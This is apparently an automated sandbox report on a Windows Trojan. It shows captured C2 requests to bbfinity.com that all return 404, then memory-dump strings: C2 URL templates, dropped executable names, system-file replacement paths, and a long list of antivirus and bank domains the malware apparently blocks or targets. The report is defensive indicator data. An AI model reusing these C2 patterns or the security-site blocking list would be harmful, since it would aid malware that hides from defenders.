Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:33 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:33 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/sfsswwaoef.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:36 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:36 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/oxybcg.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:38 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:38 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/veivm.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:40 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:40 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/cpdqhuu.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:42 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:42 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/fsggtxx.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:45 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:45 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/qanarmz.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:47 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:47 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/ciivvmnd.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:49 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:49 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/dreiizm.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:52 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:52 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/nabfswwnn.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:54 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:54 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/xlycctxmj.php?adv=adv466&code1=HNIL&code2=0191&id=-1465484763&p=0&b=1&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:56 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:56 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable ..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

rundll32.exe_1524:

.text

.text

`.data

`.data

.rsrc

.rsrc

msvcrt.dll

msvcrt.dll

KERNEL32.dll

KERNEL32.dll

NTDLL.DLL

NTDLL.DLL

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

IMAGEHLP.dll

IMAGEHLP.dll

rundll32.pdb

rundll32.pdb

.....eZXnnnnnnnnnnnn3

.....eZXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

....eDXnnnnnnnnnnnn3

...eDXnnnnnnnnnnnn,

...eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

.eDXnnnnnnnnnnnn,

%Xnnnnnnnnnnnnnnn1

%Xnnnnnnnnnnnnnnn1

O3$dS7"%U9

O3$dS7"%U9

.manifest

.manifest

5.1.2600.5512 (xpsp.080413-2105)

5.1.2600.5512 (xpsp.080413-2105)

RUNDLL.EXE

RUNDLL.EXE

Windows

Windows

Operating System

Operating System

5.1.2600.5512

5.1.2600.5512

YThere is not enough memory to run the file %s.

YThere is not enough memory to run the file %s.

Please close other windows and try again.

Please close other windows and try again.

9The file %s or one of its components could not be opened.

9The file %s or one of its components could not be opened.

0The file %s or one of its components cannot run.

0The file %s or one of its components cannot run.

MThe file %s or one of its components requires a different version of Windows.

MThe file %s or one of its components requires a different version of Windows.

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"

Error in %s

Error in %s

Missing entry:%s

Missing entry:%s

Error loading %s

Error loading %s

rundll32.exe_1524_rwx_10000000_00001000:

.text

.text

`.data

`.data

.reloc

.reloc

Explorer.EXE_884_rwx_014D0000_0000A000:

PSShX4M

PSShX4M

.exeu]

.exeu]

%sxlycctxmj.php?adv=adv466&code1=%s&code2=%s&id=%d&p=%s&b=%s&c=%d

%sxlycctxmj.php?adv=adv466&code1=%s&code2=%s&id=%d&p=%s&b=%s&c=%d

Chrome

Chrome

Firefox

Firefox

Opera

Opera

%sgorki.exe

%sgorki.exe

%sdreiizm.php?adv=adv466&id=%d&c=%d

%sdreiizm.php?adv=adv466&id=%d&c=%d

%somvoj.exe

%somvoj.exe

%sererijznnr.php?adv=adv466&id=%d&c=%d

%sererijznnr.php?adv=adv466&id=%d&c=%d

%snqefjkh.exe

%snqefjkh.exe

%sxklypptgx.php?adv=adv466&id=%d&c=%d

%sxklypptgx.php?adv=adv466&id=%d&c=%d

%swwqlg.exe

%swwqlg.exe

%szmmmdq.php?adv=adv466&id=%d&c=%d

%szmmmdq.php?adv=adv466&id=%d&c=%d

%srspwqxk.exe

%srspwqxk.exe

%ssfsswwaoef.php?adv=adv466&id=%d&c=%d

%ssfsswwaoef.php?adv=adv466&id=%d&c=%d

%saroyba.exe

%saroyba.exe

%soxybcg.php?adv=adv466&id=%d&c=%d

%soxybcg.php?adv=adv466&id=%d&c=%d

%sqncsb.exe

%sqncsb.exe

%sveivm.php?adv=adv466&id=%d&c=%d

%sveivm.php?adv=adv466&id=%d&c=%d

%sgyjh.exe

%sgyjh.exe

%snabfswwnn.php?adv=adv466&id=%d&c=%d

%snabfswwnn.php?adv=adv466&id=%d&c=%d

%skpob.exe

%skpob.exe

%sciivvmnd.php?adv=adv466&id=%d&c=%d

%sciivvmnd.php?adv=adv466&id=%d&c=%d

%siuvrsmb.exe

%siuvrsmb.exe

%sqanarmz.php?adv=adv466&id=%d&c=%d

%sqanarmz.php?adv=adv466&id=%d&c=%d

%skmhweee.exe

%skmhweee.exe

%sfsggtxx.php?adv=adv466&id=%d&c=%d

%sfsggtxx.php?adv=adv466&id=%d&c=%d

%scpdqhuu.php?adv=adv466&id=%d&c=%d

%scpdqhuu.php?adv=adv466&id=%d&c=%d

hXXp://bbfinity.com/pdzqq/

hXXp://bbfinity.com/pdzqq/

hXXp://abcartel.com/pdzqq/

hXXp://abcartel.com/pdzqq/

psapi.dll

psapi.dll

ddraw.dll

ddraw.dll

urlmon.dll

urlmon.dll

shell32.dll

shell32.dll

kernel32.dll

kernel32.dll

user32.dll

user32.dll

wininet.dll

wininet.dll

ntdll.dll

ntdll.dll

\svchost.exe

\svchost.exe

explorer.exe

explorer.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\3E4U - Old.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\3E4U - Old.exe

ShellExecuteExA

ShellExecuteExA

InternetOpenUrlA

InternetOpenUrlA

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

&ew%.YY

&ew%.YY

ver70%sxlycctxmj.php?adv=

ver70%sxlycctxmj.php?adv=

SafariChromeFiref

SafariChromeFiref

urlmo

urlmo

`.rdt

`.rdt

KERNEL32.DLL

KERNEL32.DLL

ADVAPI32.dll

ADVAPI32.dll

DDRAW.dll

DDRAW.dll

PSAPI.DLL

PSAPI.DLL

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

USER32.dll

USER32.dll

WININET.dll

WININET.dll

Explorer.EXE_884_rwx_01CA0000_00015000:

HTTP/1.1

HTTP/1.1

Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry

Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

\user32.dll

\user32.dll

b.dll

b.dll

spoolsv.exe

spoolsv.exe

/message.php

/message.php

.co.cc

.co.cc

.cz.cc

.cz.cc

.info

.info

\updhlp.dat

\updhlp.dat

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

19792079

19792079

1979207932

1979207932

[%subid]

[%subid]

[%key]

[%key]

google.com/

google.com/

**http://

**http://

search.yahoo.com

search.yahoo.com

bing.com

bing.com

\temp.ini

\temp.ini

\admin.txt

\admin.txt

.aspx

.aspx

iexplore.exe

iexplore.exe

&HTTP_REFERER=

&HTTP_REFERER=

\server.dat

\server.dat

\Windows

\Windows

\winhelp.exe

\winhelp.exe

sb_tlst">

sb_tlst">

19091979

19091979

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 200 OK

HTTP/1.1 200 OK

keyword

keyword

hXXp://

hXXp://

HTTP/1.

HTTP/1.

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

ntdll.dll

ntdll.dll

kernel32.dll

kernel32.dll

user32.dll

user32.dll

ws2_32.dll

ws2_32.dll

advapi32.dll

advapi32.dll

shell32.dll

shell32.dll

Wininet.dll

Wininet.dll

version.dll

version.dll

ole32.dll

ole32.dll

Dnsapi.dll

Dnsapi.dll

gdi32.dll

gdi32.dll

c:\feed.txt

c:\feed.txt

hXXp://google.ru/s.php?dd=giuy

hXXp://google.ru/s.php?dd=giuy

:VVV.u

:VVV.u

google.com

google.com

\windows\

\windows\

sfc_os.dll

sfc_os.dll

wininit.exe

wininit.exe

winlogon.exe

winlogon.exe

dllcache\winlogon.exe

dllcache\winlogon.exe

explorer.exe

explorer.exe

dllcache\explorer.exe

dllcache\explorer.exe

.datj

.datj

opera.exe

opera.exe

firefox.exe

firefox.exe

chrome.exe

chrome.exe

8.texu5

8.texu5

82.165.237.14

82.165.237.14

82.165.250.33

82.165.250.33

akamai.avg.com

akamai.avg.com

antivir.es

antivir.es

anti-virus.by

anti-virus.by

avast.com

avast.com

avg.com

avg.com

avp.com

avp.com

avp.ru

avp.ru

avp.ru/download/

avp.ru/download/

avpg.crsi.symantec.com

avpg.crsi.symantec.com

backup.avg.cz

backup.avg.cz

bancoguayaquil.com

bancoguayaquil.com

bcpzonasegura.viabcp.com

bcpzonasegura.viabcp.com

bitdefender.com

bitdefender.com

clamav.net

clamav.net

comodo.com

comodo.com

customer.symantec.com

customer.symantec.com

dispatch.mcafee.com

dispatch.mcafee.com

download.mcafee.com

download.mcafee.com

download.microsoft.com

download.microsoft.com

downloads.microsoft.com

downloads.microsoft.com

downloads1.kaspersky-labs.com

downloads1.kaspersky-labs.com

downloads1.kaspersky-labs.com/products/

downloads1.kaspersky-labs.com/products/

downloads1.kaspersky-labs.com/updates/

downloads1.kaspersky-labs.com/updates/

downloads2.kaspersky-labs.com

downloads2.kaspersky-labs.com

downloads2.kaspersky-labs.com/products/

downloads2.kaspersky-labs.com/products/

downloads2.kaspersky-labs.com/updates/

downloads2.kaspersky-labs.com/updates/

downloads3.kaspersky-labs.com

downloads3.kaspersky-labs.com

downloads3.kaspersky-labs.com/products/

downloads3.kaspersky-labs.com/products/

downloads3.kaspersky-labs.com/updates/

downloads3.kaspersky-labs.com/updates/

downloads4.kaspersky-labs.com

downloads4.kaspersky-labs.com

downloads4.kaspersky-labs.com/products/

downloads4.kaspersky-labs.com/products/

downloads4.kaspersky-labs.com/updates/

downloads4.kaspersky-labs.com/updates/

downloads5.kaspersky-labs.com

downloads5.kaspersky-labs.com

downloads5.kaspersky-labs.com/products/

downloads5.kaspersky-labs.com/products/

downloads5.kaspersky-labs.com/updates/

downloads5.kaspersky-labs.com/updates/

drweb.com

drweb.com

emsisoft.com

emsisoft.com

eset.com

eset.com

eset.com/

eset.com/

eset.com/download/index.php

eset.com/download/index.php

eset.com/joomla/

eset.com/joomla/

eset.com/products/index.php

eset.com/products/index.php

eset.es

eset.es

fortinet.com

fortinet.com

f-prot.com

f-prot.com

f-secure.com

f-secure.com

gdata.es

gdata.es

go.microsoft.com

go.microsoft.com

hacksoft.com.pe

hacksoft.com.pe

ikarus.at

ikarus.at

kaspersky.com

kaspersky.com

kaspersky.ru

kaspersky.ru

kaspersky-labs.com

kaspersky-labs.com

liveupdate.symantec.com

liveupdate.symantec.com

liveupdate.symantecliveupdate.com

liveupdate.symantecliveupdate.com

macafee.com

macafee.com

mast.mcafee.com

mast.mcafee.com

mcafee.com

mcafee.com

microsoft.com

microsoft.com

msdn.microsoft.com

msdn.microsoft.com

my-etrust.com

my-etrust.com

networkassociates.com

networkassociates.com

nod32.com

nod32.com

norman.com

norman.com

norton.com

norton.com

nprotect.com

nprotect.com

pandasecurity.com

pandasecurity.com

pandasoftware.com

pandasoftware.com

pctools.com

pctools.com

pif.symantec.com

pif.symantec.com

pifmain.symantec.com

pifmain.symantec.com

rads.mcafee.com

rads.mcafee.com

rising-global.com

rising-global.com

scanner.novirusthanks.org

scanner.novirusthanks.org

secure.nai.com

secure.nai.com

securityresponse.symantec.com

securityresponse.symantec.com

service1.symantec.com

service1.symantec.com

sophos.com

sophos.com

sunbeltsoftware.com

sunbeltsoftware.com

support.microsoft.com

support.microsoft.com

symantec.com

symantec.com

symantec.com/updates

symantec.com/updates

threatexpert.com

threatexpert.com

trendmicro.com

trendmicro.com

u2.eset.com

u2.eset.com

u20.eset.com

u20.eset.com

u3.eset.com

u3.eset.com

u3.eset.com/

u3.eset.com/

u4.eset.com

u4.eset.com

u4.eset.com/

u4.eset.com/

u7.eset.com

u7.eset.com

update.avg.com

update.avg.com

update.microsoft.com

update.microsoft.com

update.symantec.com

update.symantec.com

updates.symantec.com

updates.symantec.com

updates1.kaspersky-labs.com

updates1.kaspersky-labs.com

updates2.kaspersky-labs.com

updates2.kaspersky-labs.com

updates3.kaspersky-labs.com

updates3.kaspersky-labs.com

us.mcafee.com

us.mcafee.com

viabcp.com

